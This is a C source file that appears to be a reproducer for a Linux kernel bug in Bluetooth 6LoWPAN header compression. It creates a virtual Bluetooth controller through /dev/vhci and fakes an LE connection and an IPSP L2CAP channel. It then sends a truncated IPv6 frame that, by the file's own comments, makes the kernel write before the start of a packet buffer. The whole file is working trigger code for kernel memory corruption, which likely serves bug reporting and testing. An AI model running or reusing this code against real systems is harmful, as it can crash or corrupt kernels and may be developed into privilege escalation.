/*
 * 207-kernel-bug-in-lowpan-header-compress
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <unistd.h>

typedef uint8_t u8;
typedef uint16_t u16;

#define BTPROTO_HCI 1

#define HCI_COMMAND_PKT 0x01
#define HCI_ACLDATA_PKT 0x02
#define HCI_EVENT_PKT 0x04
#define HCI_VENDOR_PKT 0xff

#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_EV_LE_META 0x3e
#define HCI_EV_LE_CONN_COMPLETE 0x01

#define HCI_OP_RESET 0x0c03
#define HCI_OP_READ_BUFFER_SIZE 0x1005
#define HCI_OP_READ_BD_ADDR 0x1009
#define HCIDEVUP _IOW('H', 201, int)

/* Connection handle the faked LE link is given; reused as the ACL TX handle. */
#define FAKE_LE_CONN_HANDLE 201

typedef struct { u8 b[6]; } __attribute__((packed)) bdaddr_t;

struct hci_command_hdr { u16 opcode; u8 plen; } __attribute__((packed));
struct hci_event_hdr { u8 evt; u8 plen; } __attribute__((packed));
struct hci_ev_cmd_complete { u8 ncmd; u16 opcode; } __attribute__((packed));

struct hci_ev_le_conn_complete {
	u8 status; u16 handle; u8 role; u8 bdaddr_type; bdaddr_t bdaddr;
	u16 interval; u16 latency; u16 supervision_timeout; u8 clk_accurancy;
} __attribute__((packed));

struct hci_rp_read_buffer_size {
	u8 status; u16 acl_mtu; u8 sco_mtu; u16 acl_max_pkt; u16 sco_max_pkt;
} __attribute__((packed));
struct hci_rp_read_bd_addr { u8 status; bdaddr_t bdaddr; } __attribute__((packed));

struct vhci_vendor_pkt_request { u8 type; u8 opcode; } __attribute__((packed));
struct vhci_pkt {
	u8 type;
	union {
		struct { u8 opcode; u16 id; } __attribute__((packed)) vendor_pkt;
		struct hci_command_hdr command_hdr;
	};
} __attribute__((packed));

static int vhci_fd = -1;

static void die(const char *what)
{
	fprintf(stderr, "FAIL: %s (%s)\n", what, strerror(errno));
	exit(1);
}

static void hci_send_event_packet(u8 event_code, void *payload, size_t payload_len)
{
	struct hci_event_hdr hdr = { .evt = event_code, .plen = (u8)payload_len };
	u8 packet_type = HCI_EVENT_PKT;
	struct iovec iov[3] = {
		{ &packet_type, 1 },
		{ &hdr, sizeof(hdr) },
		{ payload, payload_len },
	};
	if (writev(vhci_fd, iov, 3) < 0)
		die("writev HCI event");
}

static void hci_send_command_complete(u16 opcode, void *return_params, size_t return_len)
{
	struct hci_event_hdr hdr = {
		.evt = HCI_EV_CMD_COMPLETE,
		.plen = (u8)(sizeof(struct hci_ev_cmd_complete) + return_len),
	};
	struct hci_ev_cmd_complete complete = { .ncmd = 1, .opcode = opcode };
	u8 packet_type = HCI_EVENT_PKT;
	struct iovec iov[4] = {
		{ &packet_type, 1 },
		{ &hdr, sizeof(hdr) },
		{ &complete, sizeof(complete) },
		{ return_params, return_len },
	};
	if (writev(vhci_fd, iov, 4) < 0)
		die("writev HCI command complete");
}

/*
 * Answer every HCI command the kernel's controller-init sends with a success
 * Command Complete.  Two commands need real values or HCIDEVUP fails with
 * EINVAL: an all-zero BD_ADDR is rejected as invalid, and a zero ACL MTU
 * leaves the controller with no usable TX buffer.  Everything else gets the
 * largest all-zero return-parameter block an HCI event can carry (0xf9 after
 * the 3-byte Command Complete preamble), so no parser sees a short reply.
 */
static void *hci_command_responder_thread(void *unused)
{
	for (;;) {
		char buf[1024];
		ssize_t nbytes = read(vhci_fd, buf, sizeof(buf));
		if (nbytes <= 0) {
			if (errno == EINTR)
				continue;
			return NULL;
		}
		if (buf[0] != HCI_COMMAND_PKT ||
		    nbytes < 1 + (ssize_t)sizeof(struct hci_command_hdr))
			continue;
		struct hci_command_hdr *cmd = (struct hci_command_hdr *)(buf + 1);
		if (cmd->opcode == HCI_OP_READ_BD_ADDR) {
			struct hci_rp_read_bd_addr bd_addr = {0};
			memset(&bd_addr.bdaddr, 0xaa, 6);
			hci_send_command_complete(cmd->opcode, &bd_addr, sizeof(bd_addr));
		} else if (cmd->opcode == HCI_OP_READ_BUFFER_SIZE) {
			struct hci_rp_read_buffer_size buffer_size = {0};
			buffer_size.acl_mtu = 1021;
			buffer_size.sco_mtu = 96;
			buffer_size.acl_max_pkt = 4;
			buffer_size.sco_max_pkt = 6;
			hci_send_command_complete(cmd->opcode, &buffer_size,
						  sizeof(buffer_size));
		} else {
			char zero_return_params[0xf9] = {0};
			hci_send_command_complete(cmd->opcode, zero_return_params,
						  sizeof(zero_return_params));
		}
	}
}

static void create_vhci_controller_with_fake_le_connection(void)
{
	pthread_t hci_command_responder;
	int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	if (hci_sock < 0)
		die("socket(AF_BLUETOOTH, BTPROTO_HCI)");

	vhci_fd = open("/dev/vhci", O_RDWR);
	if (vhci_fd < 0)
		die("open /dev/vhci");

	/* Vendor packet requesting HCI_PRIMARY; the reply carries the dev id. */
	struct vhci_vendor_pkt_request request = { HCI_VENDOR_PKT, 0 };
	if (write(vhci_fd, &request, sizeof(request)) != sizeof(request))
		die("write vhci vendor packet");

	struct vhci_pkt reply;
	if (read(vhci_fd, &reply, sizeof(reply)) != sizeof(reply))
		die("read vhci reply");
	/* Some kernels emit HCI_OP_RESET before the vendor reply. */
	if (reply.type == HCI_COMMAND_PKT && reply.command_hdr.opcode == HCI_OP_RESET) {
		char status_ok = 0;
		hci_send_command_complete(HCI_OP_RESET, &status_ok, 1);
		if (read(vhci_fd, &reply, sizeof(reply)) != sizeof(reply))
			die("read vhci reply after reset");
	}
	if (reply.type != HCI_VENDOR_PKT)
		die("unexpected vhci packet type");
	int hci_dev_id = reply.vendor_pkt.id;

	if (pthread_create(&hci_command_responder, NULL,
			   hci_command_responder_thread, NULL))
		die("pthread_create");

	if (ioctl(hci_sock, HCIDEVUP, hci_dev_id) && errno != EALREADY)
		die("HCIDEVUP");
	close(hci_sock);

	/* Fake an LE Connection Complete so an ACL link exists to speak L2CAP on. */
	struct {
		u8 subevent;
		struct hci_ev_le_conn_complete conn;
	} __attribute__((packed)) le_meta;
	memset(&le_meta, 0, sizeof(le_meta));
	le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
	le_meta.conn.handle = FAKE_LE_CONN_HANDLE;
	le_meta.conn.role = 1;
	memset(&le_meta.conn.bdaddr, 0xaa, 6);
	le_meta.conn.bdaddr.b[5] = 0x11;
	hci_send_event_packet(HCI_EV_LE_META, &le_meta, sizeof(le_meta));

	usleep(200000);
}

/*
 * Inject an L2CAP LE credit-based connection request for PSM 0x0023 (IPSP).
 * The 6lowpan listener accepts it, and chan_ready_cb() then registers bt0
 * and brings it up, so no explicit SIOCSIFFLAGS is needed.
 */
static void open_l2cap_ipsp_channel(void)
{
	u8 l2cap_le_conn_req[14];
	u8 acl_packet[64];
	int offset = 0;

	l2cap_le_conn_req[0] = 0x14;			/* L2CAP_LE_CONN_REQ */
	l2cap_le_conn_req[1] = 0x01;			/* identifier */
	*(u16 *)&l2cap_le_conn_req[2] = 10;		/* command length */
	*(u16 *)&l2cap_le_conn_req[4] = 0x0023;		/* PSM: IPSP */
	*(u16 *)&l2cap_le_conn_req[6] = 0x0040;		/* source CID */
	*(u16 *)&l2cap_le_conn_req[8] = 1280;		/* MTU */
	*(u16 *)&l2cap_le_conn_req[10] = 1280;		/* MPS */
	*(u16 *)&l2cap_le_conn_req[12] = 10;		/* initial credits */

	acl_packet[offset++] = HCI_ACLDATA_PKT;
	/* Packet-boundary flag 2 = first non-flushable, point-to-point. */
	*(u16 *)&acl_packet[offset] = FAKE_LE_CONN_HANDLE | (2 << 12);
	offset += 2;
	*(u16 *)&acl_packet[offset] = 4 + sizeof(l2cap_le_conn_req);
	offset += 2;					/* ACL data length */
	*(u16 *)&acl_packet[offset] = sizeof(l2cap_le_conn_req);
	offset += 2;					/* L2CAP PDU length */
	*(u16 *)&acl_packet[offset] = 0x0005;
	offset += 2;					/* LE signaling CID */
	memcpy(&acl_packet[offset], l2cap_le_conn_req, sizeof(l2cap_le_conn_req));
	offset += sizeof(l2cap_le_conn_req);

	if (write(vhci_fd, acl_packet, offset) != offset)
		die("write L2CAP LE connection request");
	usleep(300000);
}

int main(void)
{
	int lowpan_enable_fd;
	unsigned bt0_ifindex = 0;
	int attempt;

	mkdir("/sys/kernel/debug", 0755);
	mount("debugfs", "/sys/kernel/debug", "debugfs", 0, NULL);

	lowpan_enable_fd = open("/sys/kernel/debug/bluetooth/6lowpan_enable", O_WRONLY);
	if (lowpan_enable_fd < 0)
		die("open 6lowpan_enable");
	if (write(lowpan_enable_fd, "1\n", 2) < 0)
		die("write 6lowpan_enable");
	close(lowpan_enable_fd);

	create_vhci_controller_with_fake_le_connection();
	open_l2cap_ipsp_channel();

	for (attempt = 0; attempt < 100 && !bt0_ifindex; attempt++) {
		bt0_ifindex = if_nametoindex("bt0");
		if (!bt0_ifindex)
			usleep(100000);
	}
	if (!bt0_ifindex)
		die("bt0 never appeared");

	int packet_socket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
	if (packet_socket < 0)
		die("socket(AF_PACKET)");

	struct sockaddr_ll bt0_link_address;
	memset(&bt0_link_address, 0, sizeof(bt0_link_address));
	bt0_link_address.sll_family = AF_PACKET;
	bt0_link_address.sll_protocol = htons(ETH_P_IPV6);
	bt0_link_address.sll_ifindex = bt0_ifindex;
	bt0_link_address.sll_halen = 0;

	/*
	 * 36 bytes: shorter than sizeof(struct ipv6hdr) == 40.  net/6lowpan/iphc.c
	 * does skb_pull(skb, sizeof(struct ipv6hdr)) before the compressed header
	 * is pushed, and skb_pull() is a no-op when len > skb->len, so skb->data
	 * is never advanced.  Every compressible field below is chosen to be
	 * incompressible, so the IPHC header is 28 bytes -- more than the 16
	 * bytes of headroom AF_PACKET reserved for bt0 (hard_header_len 0,
	 * needed_headroom 0).  The skb_push() therefore underflows the buffer.
	 */
	u8 truncated_ipv6_frame[36];
	memset(truncated_ipv6_frame, 0, sizeof(truncated_ipv6_frame));
	truncated_ipv6_frame[0] = 0x61;		/* version 6, traffic class != 0 */
	truncated_ipv6_frame[1] = 0x12;		/* traffic class / flow label */
	truncated_ipv6_frame[2] = 0x34;
	truncated_ipv6_frame[3] = 0x56;		/* flow label != 0 -> TF=00, 4 bytes inline */
	truncated_ipv6_frame[6] = 0x06;		/* next header TCP: no NHC -> 1 byte inline */
	truncated_ipv6_frame[7] = 0x07;		/* hop limit not 1/64/255 -> 1 byte inline */
	/* source 2001:db8::1 -- global unicast, so all 16 bytes go inline */
	truncated_ipv6_frame[8] = 0x20;
	truncated_ipv6_frame[9] = 0x01;
	truncated_ipv6_frame[10] = 0x0d;
	truncated_ipv6_frame[11] = 0xb8;
	truncated_ipv6_frame[23] = 0x01;
	/* destination ff05::... , truncated by the 36-byte frame length */
	truncated_ipv6_frame[24] = 0xff;
	truncated_ipv6_frame[25] = 0x05;

	sendto(packet_socket, truncated_ipv6_frame, sizeof(truncated_ipv6_frame), 0,
	       (struct sockaddr *)&bt0_link_address, sizeof(bt0_link_address));
	return 0;
}